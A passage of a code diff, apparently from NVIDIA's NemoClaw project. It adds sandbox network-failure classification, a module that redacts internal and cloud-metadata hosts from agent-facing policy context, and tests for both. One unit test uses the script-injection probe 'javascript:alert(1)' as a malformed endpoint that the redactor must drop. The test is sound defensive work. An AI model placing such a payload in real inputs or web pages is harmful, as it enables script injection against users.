declared by preset '${matched.name}' but the request was refused with a network-block code (${code}) and the OpenShell gateway has not been confirmed to enforce this preset.${note}`, + nextStep: `Run \`${ctx.approvalPath.inspect}\` to confirm the gateway is enforcing '${matched.name}'; if drift is confirmed, re-apply the preset via \`${ctx.approvalPath.add.replace("", matched.name)}\`.`, + matchedPreset: matched.name, + confidence: "low", + }; + } + return { + kind: "unknown", + reason: `Host '${input.host}' is allowed by preset '${matched.name}' and the failure is not a policy block.${note}`, + nextStep: verified + ? "Inspect the upstream error and retry once the underlying condition clears." + : `Run \`${ctx.approvalPath.inspect}\` to confirm the gateway is enforcing '${matched.name}' before retrying.`, + matchedPreset: matched.name, + confidence: verified ? "high" : "low", + }; + } + + const knownPreset = findMatchingPreset(input.host, ctx.knownUnappliedPresets); + if (knownPreset) { + return { + kind: "blocked-by-policy", + reason: `Host '${input.host}' is declared by preset '${knownPreset.name}' but that preset is not applied to sandbox '${input.sandboxName}'.`, + nextStep: `Run \`${ctx.approvalPath.add.replace("", knownPreset.name)}\` to allow this host.`, + matchedPreset: knownPreset.name, + confidence: "high", + }; + } + + if (status === 403 || isPolicyBlockErrorCode(code)) { + return { + kind: "blocked-by-policy", + reason: `Host '${input.host}' is not declared by any preset known to NemoClaw and the request was refused (${code ?? `HTTP ${String(status ?? "unknown")}`}).`, + nextStep: `Add a custom preset that allows this host or change the sandbox tier; see ${ctx.approvalPath.documentation}.`, + confidence: "high", + }; + } + + if (status !== undefined && MISSING_APPROVAL_STATUS_CODES.has(status)) { + return { + kind: "missing-approval", + reason: `Host '${input.host}' is not declared by any active preset and the request returned ${String(status)}.`, + nextStep: "Add a preset that allows this host, then supply credentials.", + confidence: "low", + }; + } + + return { + kind: "unknown", + reason: `Host '${input.host}' did not match any preset and the failure is not a known policy or approval signal.`, + nextStep: `Inspect the upstream error and consult ${ctx.approvalPath.documentation}.`, + confidence: "high", + }; +} diff --git a/src/lib/policy/host-redaction.test.ts b/src/lib/policy/host-redaction.test.ts new file mode 100644 index 00000000000..16a902570cb --- /dev/null +++ b/src/lib/policy/host-redaction.test.ts @@ -0,0 +1,149 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from "vitest"; + +import { + canonicaliseHost, + hostStemsFromEndpoints, + isInternalHost, +} from "./host-redaction"; + +describe("canonicaliseHost", () => { + it("returns null for empty / undefined / whitespace input", () => { + expect(canonicaliseHost("")).toBeNull(); + expect(canonicaliseHost(" ")).toBeNull(); + expect(canonicaliseHost(undefined as unknown as string)).toBeNull(); + }); + + it("trims, lowercases, and drops a trailing dot", () => { + expect(canonicaliseHost(" API.SLACK.COM. ")).toBe("api.slack.com"); + }); + + it("strips a URL scheme and userinfo", () => { + expect(canonicaliseHost("https://example.com/path")).toBe("example.com"); + expect(canonicaliseHost("https://user:pass@example.com/path")).toBe("example.com"); + expect(canonicaliseHost("wss://token@api.slack.com")).toBe("api.slack.com"); + }); + + it("strips a port from an IPv4 or hostname", () => { + expect(canonicaliseHost("127.0.0.1:8080")).toBe("127.0.0.1"); + expect(canonicaliseHost("example.com:443")).toBe("example.com"); + }); + + it("unwraps bracketed IPv6 and strips the port", () => { + expect(canonicaliseHost("[::1]")).toBe("::1"); + expect(canonicaliseHost("[fe80::1]:443")).toBe("fe80::1"); + expect(canonicaliseHost("https://[::1]:8080/admin")).toBe("::1"); + }); + + it("re-canonicalises IPv4-mapped IPv6 to the plain IPv4 stem", () => { + expect(canonicaliseHost("::ffff:127.0.0.1")).toBe("127.0.0.1"); + expect(canonicaliseHost("::ffff:192.168.1.10")).toBe("192.168.1.10"); + }); + + it("returns null for malformed values that cannot be reduced to a bare stem", () => { + expect(canonicaliseHost("ht!tp://broken host")).toBeNull(); + expect(canonicaliseHost("http://host with spaces")).toBeNull(); + }); +}); + +describe("isInternalHost", () => { + const internal = [ + "10.0.0.1", + "10.255.255.255", + "127.0.0.1", + "127.42.42.42", + "172.16.0.1", + "172.20.0.5", + "172.31.255.255", + "192.168.1.10", + "192.168.255.255", + "169.254.169.254", + "100.64.0.1", + "100.127.0.1", + "198.18.0.1", + "198.19.255.255", + "0.0.0.0", + "224.0.0.1", + "::", + "::1", + "fe80::1", + "fe80:1234::5678", + "fe90::1", + "fea0::1", + "feb0::cafe", + "febf::1", + "fc00::1", + "fd00::abcd", + "ff02::1", + "localhost", + "ip6-localhost", + "ip6-loopback", + "broadcasthost", + "host.local", + "service.internal", + "host.lan", + "router.home", + "thing.home.arpa", + "x.corp", + "y.intra", + "z.intranet", + "w.localdomain", + ]; + + for (const host of internal) { + it(`treats ${host} as internal`, () => { + expect(isInternalHost(host)).toBe(true); + }); + } + + const external = [ + "api.slack.com", + "example.com", + "8.8.8.8", + "1.1.1.1", + "github.com", + "registry.npmjs.org", + // fec0::/10 is the deprecated site-local block. It sits immediately + // above the fe80::/10 link-local range and must not be matched by the + // link-local detector. + "fec0::1", + "2001:db8::1", + ]; + for (const host of external) { + it(`treats ${host} as external`, () => { + expect(isInternalHost(host)).toBe(false); + }); + } +}); + +describe("hostStemsFromEndpoints", () => { + it("redacts every internal form regardless of bracket/port/URL syntax and counts the drop", () => { + const result = hostStemsFromEndpoints([ + "127.0.0.1:8080", + "[::1]", + "[fe80::1]:443", + "::ffff:127.0.0.1", + "https://admin:tok@10.0.0.1/path", + "https://192.168.1.10:8443/", + "service.internal:5000", + "broadcasthost", + "registry.npmjs.org", + "https://user:t@api.example.com:443/foo?bar", + ]); + + expect(result.public).toEqual(["api.example.com", "registry.npmjs.org"]); + expect(result.redactedCount).toBe(8); + }); + + it("drops malformed endpoints rather than passing them through unredacted", () => { + const result = hostStemsFromEndpoints([ + "https://has spaces.example.com", + "javascript:alert(1)", + "valid.example.com", + ]); + expect(result.public).toEqual(["valid.example.com"]); + expect(result.redactedCount).toBe(2); + }); +}); diff --git a/src/lib/policy/host-redaction.ts b/src/lib/policy/host-redaction.ts new file mode 100644 index 00000000000..ba6ff32164c --- /dev/null +++ b/src/lib/policy/host-redaction.ts @@ -0,0 +1,236 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Host normalisation + internal-host redaction for the agent-facing policy + * context. Two responsibilities: + * + * - {@link canonicaliseHost} reduces a raw preset endpoint value (which can + * carry URL schemes, userinfo, ports, IPv6 brackets, or IPv4-mapped IPv6 + * syntax) to a bare host stem suitable for redaction comparison. + * - {@link isInternalHost} reports whether the canonical stem points at an + * address NemoClaw must not surface to the agent: RFC1918, loopback, + * link-local, cloud metadata, CGNAT, benchmarking, IPv6 ULA, the full + * `fe80::/10` IPv6 link-local range (`fe80` through `febf`), multicast, + * reserved zero, and the well-known internal DNS suffixes. + * + * Both helpers must run on the redaction-write path before any string + * reaches the agent (markdown render or sandbox write). The canonicaliser + * is intentionally strict: anything it cannot parse to a bare host is + * dropped (redacted) rather than passed through, so future endpoint + * shapes do not slip past the filter. + */ + +const INTERNAL_DNS_SUFFIXES: ReadonlyArray = [ + ".local", + ".internal", + ".lan", + ".home", + ".home.arpa", + ".corp", + ".intra", + ".intranet", + ".localdomain", +]; + +const RESERVED_HOSTS: ReadonlySet = new Set([ + "localhost", + "localhost.localdomain", + "ip6-localhost", + "ip6-loopback", + "broadcasthost", +]); + +const IPV4_PATTERN = /^(?:\d{1,3}\.){3}\d{1,3}$/; +const HOSTNAME_PATTERN = /^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)*$/; + +function stripUrlSyntax(value: string): string { + let working = value; + // Strip an explicit URL scheme (`https://`, `ws://`, etc.) before any + // host-stem handling so we never bake credentials or paths into the + // canonical stem. + const schemeMatch = working.match(/^[a-z][a-z0-9+.-]*:\/\//i); + if (schemeMatch) { + working = working.slice(schemeMatch[0].length); + } + // Userinfo (`user:pass@host`) is dropped wholesale — by the time we are + // computing a host stem we never want a secret in the rendered output. + const at = working.lastIndexOf("@"); + if (at >= 0) { + working = working.slice(at + 1); + } + // Path / query / fragment all end the authority section. Trim at the + // first such delimiter so paths cannot impersonate a host stem. + const pathDelimiter = working.search(/[/?#]/); + if (pathDelimiter >= 0) { + working = working.slice(0, pathDelimiter); + } + return working; +} + +function stripBracketsAndPort(value: string): string { + let working = value; + if (working.startsWith("[")) { + const closeBracket = working.indexOf("]"); + if (closeBracket > 0) { + // Bracketed IPv6 literal — discard the optional `:port` suffix and + // hand back the inner address. Anything before the bracket would be + // malformed; leave the bracket-prefixed string untouched in that + // case so the canonicaliser drops it. + working = working.slice(1, closeBracket); + } + return working; + } + // For non-bracketed hosts strip exactly one trailing `:port` group when + // the remainder before it is a hostname or IPv4 literal. IPv6 without + // brackets is left as-is and handled by the IPv6 detector. + if (working.includes(":")) { + const last = working.lastIndexOf(":"); + const candidate = working.slice(0, last); + const port = working.slice(last + 1); + if (/^\d{1,5}$/.test(port) && candidate.length > 0 && !candidate.includes(":")) { + working = candidate; + } + } + return working; +} + +function normaliseIPv4MappedIPv6(value: string): string { + // RFC 4291 §2.5.5 allows ::ffff:0:0/96 to embed an IPv4 literal in the + // last two groups (`::ffff:192.0.2.1`). Re-canonicalise to the plain + // IPv4 stem so the IPv4 internal-range detector sees it. + const lower = value.toLowerCase(); + const match = lower.match(/^(?:0*:)*ffff:((?:\d{1,3}\.){3}\d{1,3})$/); + if (match) return match[1]; + const match2 = lower.match(/^::ffff:((?:\d{1,3}\.){3}\d{1,3})$/); + if (match2) return match2[1]; + return value; +} + +/** + * Reduce a raw preset endpoint value to a canonical bare host stem, or + * return `null` when the value cannot be parsed safely. Values that fail + * canonicalisation are dropped by the caller so they never reach the + * rendered policy context. + */ +export function canonicaliseHost(value: string): string | null { + if (typeof value !== "string") return null; + const stripped = stripUrlSyntax(value.trim()); + if (!stripped) return null; + const lowered = stripped.toLowerCase().replace(/\.$/, ""); + const withoutPort = stripBracketsAndPort(lowered); + if (!withoutPort) return null; + const remapped = normaliseIPv4MappedIPv6(withoutPort); + if (!remapped) return null; + // Reject anything that still smells like a port, path, scheme, or + // userinfo after parsing — the canonicaliser failed to reduce it to a + // bare stem and we must redact it. + if (/[\s/?#@\\!]/.test(remapped)) return null; + if (IPV4_PATTERN.test(remapped)) return remapped; + if (remapped.includes(":")) { + // Anything left containing a colon must be an IPv6 literal. Require + // at least one `::` (compressed form) or three colons (full eight- + // group form) before accepting it. + if (/^[0-9a-f:.]+$/.test(remapped) && (remapped.includes("::") || remapped.split(":").length >= 3)) { + return remapped; + } + return null; + } + if (!HOSTNAME_PATTERN.test(remapped)) return null; + return remapped; +} + +function looksLikeInternalIPv4(host: string): boolean { + if (!IPV4_PATTERN.test(host)) return false; + const octets = host.split("."); + const parsed = octets.map((octet) => Number(octet)); + if (parsed.some((n) => !Number.isInteger(n) || n < 0 || n > 255)) return false; + const [a, b] = parsed; + if (a === 10) return true; + if (a === 127) return true; + if (a === 0) return true; + if (a === 169 && b === 254) return true; + if (a === 172 && b >= 16 && b <= 31) return true; + if (a === 192 && b === 168) return true; + if (a === 100 && b >= 64 && b <= 127) return true; + if (a === 198 && (b === 18 || b === 19)) return true; + if (a === 192 && b === 0 && parsed[2] === 0) return true; + if (a >= 224) return true; + return false; +} + +function firstHextet(value: string): string | null { + // Extract the first hextet of an IPv6 literal so we can match the whole + // fe80::/10 link-local range — first 10 bits set, so the leading hextet + // ranges from fe80 through febf inclusive. `::` (loopback / unspecified) + // has no leading hextet and is handled separately by the caller. + if (value.startsWith("::")) return null; + const head = value.split(":", 1)[0] ?? ""; + if (!/^[0-9a-f]{1,4}$/.test(head)) return null; + return head; +} + +function looksLikeInternalIPv6(host: string): boolean { + if (!host.includes(":")) return false; + const normalised = host.toLowerCase(); + if (normalised === "::" || normalised === "::1") return true; + const head = firstHextet(normalised); + if (head !== null) { + const headValue = Number.parseInt(head, 16); + if (Number.isFinite(headValue) && headValue >= 0xfe80 && headValue <= 0xfebf) { + return true; + } + if (head.startsWith("fc") || head.startsWith("fd")) return true; + if (head.startsWith("ff")) return true; + } + // Catch IPv4-compatible IPv6 forms that survived canonicalisation + // (`::a.b.c.d`). + if (normalised.startsWith("::") && IPV4_PATTERN.test(normalised.slice(2))) { + return looksLikeInternalIPv4(normalised.slice(2)); + } + return false; +} + +function looksLikeHostname(host: string): boolean { + return HOSTNAME_PATTERN.test(host); +} + +/** + * Report whether the canonical host stem points at an internal address or + * an unparseable form. Unparseable hosts are redacted on the safe side so + * a malformed preset entry cannot quietly publish a stem the redactor did + * not recognise. + */ +export function isInternalHost(host: string): boolean { + if (!host) return false; + if (RESERVED_HOSTS.has(host)) return true; + if (looksLikeInternalIPv4(host)) return true; + if (looksLikeInternalIPv6(host)) return true; + for (const suffix of INTERNAL_DNS_SUFFIXES) { + if (host === suffix.slice(1) || host.endsWith(suffix)) return true; + } + // Final guard: anything that does not match a strict hostname grammar + // after canonicalisation is treated as internal — the redactor errs on + // the side of dropping unfamiliar forms. + if (!looksLikeHostname(host) && !host.includes(":")) return true; + return false; +} + +export interface HostStemsResult { + public: string[]; + redactedCount: number; +} + +export function hostStemsFromEndpoints(rawHosts: ReadonlyArray): HostStemsResult { + const stems = new Set(); + let redactedCount = 0; + for (const raw of rawHosts) { + const canonical = canonicaliseHost(raw); + if (!canonical || isInternalHost(canonical)) { + redactedCount += 1; + continue; + } + stems.add(canonical); + } + return { public: Array.from(stems).sort(), redactedCount }; +} diff --git a/test/policy-explain-cli.test.ts b/test/policy-explain-cli.test.ts new file mode 100644 index 00000000000..f2c29d24a09 --- /dev/null +++ b/test/policy-explain-cli.test.ts @@ -0,0 +1,165 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { spawnSync } from "node:child_process"; +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +const CLI = path.join(import.meta.dirname, "..", "bin", "nemoclaw.js"); + +type CliResult = { + status: number | null; + stdout: string; + stderr: string; +}; + +const ENV_ALLOWLIST: readonly string[] = [ + "PATH", + "NODE_PATH", + "LANG", + "LC_ALL", + "TZ", + "TMPDIR", + "NO_COLOR", + "FORCE_COLOR", +]; + +function minimalEnv(overrides: NodeJS.ProcessEnv): NodeJS.ProcessEnv { + const base: NodeJS.ProcessEnv = {}; + for (const key of ENV_ALLOWLIST) { + const value = process.env[key]; + if (value !== undefined) base[key] = value; + } + return { ...base, ...overrides }; +} + +function runCli(env: NodeJS.ProcessEnv, args: readonly string[]): CliResult { + const result = spawnSync(process.execPath, [CLI, ...args], { + encoding: "utf-8", + env: minimalEnv(env), + }); + return { + status: result.status, + stdout: (result.stdout || "").toString(), + stderr: (result.stderr || "").toString(), + }; +} + +function writeRegistry(home: string, sandboxes: Record): void { + const dir = path.join(home, ".nemoclaw"); + fs.mkdirSync(dir, { recursive: true, mode: 0o700 }); + fs.writeFileSync( + path.join(dir, "sandboxes.json"), + JSON.stringify({ sandboxes, defaultSandbox: null }, null, 2), + { mode: 0o600 }, + ); +} + +let scratchHome: string; + +beforeEach(() => { + scratchHome = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-explain-")); +}); + +afterEach(() => { + fs.rmSync(scratchHome, { recursive: true, force: true }); +}); + +describe("nemoclaw policy-explain (E2E)", () => { + it("prints help text via both routing forms", () => { + const productGrammar = runCli({ HOME: scratchHome }, ["my-sandbox", "policy-explain", "--help"]); + expect(productGrammar.status).toBe(0); + expect(productGrammar.stdout).toContain("Explain the active policy context for the sandbox"); + expect(productGrammar.stdout).toContain("--json"); + expect(productGrammar.stdout).toContain("--write"); + + const oclifTopic = runCli({ HOME: scratchHome }, ["sandbox", "policy", "explain", "--help"]); + expect(oclifTopic.status).toBe(0); + expect(oclifTopic.stdout).toContain("Explain the active policy context for the sandbox"); + }); + + it("emits a redacted markdown summary for a sandbox with applied presets", () => { + writeRegistry(scratchHome, { + "policy-explain-e2e": { + name: "policy-explain-e2e", + createdAt: "2026-06-07T00:00:00.000Z", + policies: ["slack"], + policyTier: "balanced", + policyPresetsFinalized: true, + }, + }); + + const result = runCli({ HOME: scratchHome }, ["policy-explain-e2e", "policy-explain"]); + + expect(result.status).toBe(0); + expect(result.stdout).toContain("# Sandbox policy context: policy-explain-e2e"); + expect(result.stdout).toContain("## Active presets"); + expect(result.stdout).toContain("`slack`"); + expect(result.stdout).toContain("slack.com"); + expect(result.stdout).toContain("## Failure classification"); + expect(result.stdout).toContain("`balanced`"); + expect(result.stdout).not.toMatch(/enforcement:|websocket_credential_rewrite|binaries:/); + expect(result.stdout).not.toMatch(/network_policies:/); + }); + + it("emits a structured JSON object when --json is set", () => { + writeRegistry(scratchHome, { + "policy-explain-json": { + name: "policy-explain-json", + createdAt: "2026-06-07T00:00:00.000Z", + policies: ["github"], + policyTier: "balanced", + policyPresetsFinalized: true, + }, + }); + + const result = runCli( + { HOME: scratchHome }, + ["policy-explain-json", "policy-explain", "--json"], + ); + + expect(result.status).toBe(0); + const parsed = JSON.parse(result.stdout) as { + sandboxName: string; + tier: { name: string } | null; + activePresets: Array<{ name: string; allowedHostCategories: string[] }>; + knownUnappliedPresets: Array<{ name: string }>; + approvalPath: { inspect: string; add: string; remove: string; documentation: string }; + supportBoundaries: Array<{ capability: string; owner: string }>; + }; + + expect(parsed.sandboxName).toBe("policy-explain-json"); + expect(parsed.tier?.name).toBe("balanced"); + const active = parsed.activePresets.find((p) => p.name === "github"); + expect(active).toBeDefined(); + expect(active?.allowedHostCategories).toContain("api.github.com"); + expect(parsed.knownUnappliedPresets.some((p) => p.name === "slack")).toBe(true); + expect(parsed.approvalPath.inspect).toBe("nemoclaw policy-explain-json policy-list"); + expect(parsed.approvalPath.add).toBe("nemoclaw policy-explain-json policy-add "); + expect(parsed.supportBoundaries.some((b) => b.capability === "host allowlist enforcement")).toBe( + true, + ); + }); + + it("returns an empty active-preset list when the sandbox has no policy applied", () => { + writeRegistry(scratchHome, { + bare: { + name: "bare", + createdAt: "2026-06-07T00:00:00.000Z", + }, + }); + + const result = runCli({ HOME: scratchHome }, ["bare", "policy-explain", "--json"]); + expect(result.status).toBe(0); + const parsed = JSON.parse(result.stdout) as { + tier: unknown; + activePresets: unknown[]; + knownUnappliedPresets: unknown[]; + }; + expect(parsed.tier).toBeNull(); + expect(parsed.activePresets).toEqual([]); + expect(parsed.knownUnappliedPresets.length).toBeGreaterThan(0); + }); +});